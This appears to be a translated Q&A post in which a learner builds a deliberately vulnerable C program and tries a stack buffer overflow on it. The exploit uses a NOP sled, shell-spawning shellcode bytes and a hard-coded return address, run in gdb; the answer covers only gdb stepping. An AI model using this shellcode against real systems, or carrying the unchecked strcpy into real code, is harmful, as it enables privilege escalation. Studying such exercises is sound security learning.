C - 使用 strcpy 的基本缓冲区溢出



我在这里阅读有关基本缓冲区溢出的信息:http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html .我以为我明白发生了什么,所以我做了自己的程序:

//vulnerable1.c
#include <stdio.h>
#define MAX_DEGF_SIZE 720
int main(int argc, char* argv[])
{
    char degF[MAX_DEGF_SIZE];
    if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
        strcpy(degF, argv[1]);
    } else {
        fprintf(stderr, "degF to degC convertern");
        fprintf(stderr, "Usage: %s <degF>n", argv[0]);
        return -1;
    }
}

由于缓冲区大小为 720,因此我测试了输入需要多大。

./vulnerable1 `perl -e 'print "A"x728'`
AA...AAA degF is -17.8 degC
./vulnerable1 `perl -e 'print "A"x732'`
AA...AA degF is -17.8 degC
Segmentation fault

在这里,我看到我至少需要 732 字节。接下来,我将 main 解散以查看实际保留了多少字节:

(gdb) disass main
Dump of assembler code for function main:
   0x08048514 <+0>: push   %ebp
   0x08048515 <+1>: mov    %esp,%ebp
   0x08048517 <+3>: and    $0xfffffff0,%esp
   0x0804851a <+6>: sub    $0x2f0,%esp

0x2f0 = 752。因此,变量填充了 20 个字节。因此,我需要 756 字节来开始覆盖保存的 ebp,需要 760 字节来覆盖返回地址。我的堆栈细分是: NOPS(704 bytes) + shellcode (32 bytes) + 'A's (20 bytes) + Return Address ( 4 bytes) = 760

现在我尝试一下:

gdb -q vulnerable1
Reading symbols from /home/testUser/vulnerable1...done.
(gdb) break main
Breakpoint 1 at 0x8048520: file vulnerable1.c, line 11.
(gdb) r `perl -e 'print "x90"x704, "x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80", "a"x20, "xa0xfbxffxbf"'`
Starting program: /home/testUser/vulnerable1 `perl -e 'print "x90"x704, "x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80", "a"x20, "xa0xfbxffxbf"'`
Breakpoint 1, main (argc=2, argv=0xbffff564) at vulnerable1.c:11
11      if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
(gdb) step
__strlen_sse2 () at ../sysdeps/i386/i686/multiarch/strlen.S:70
70  ../sysdeps/i386/i686/multiarch/strlen.S: No such file or directory.
    in ../sysdeps/i386/i686/multiarch/strlen.S
(gdb) step
73  in ../sysdeps/i386/i686/multiarch/strlen.S

这里发生了什么?

你只是走进了strlen,这显然是在汇编而不是C中实现的(可能是为了性能)。

只需继续单步,直到您回到main,或使用next单步执行函数调用。

最新更新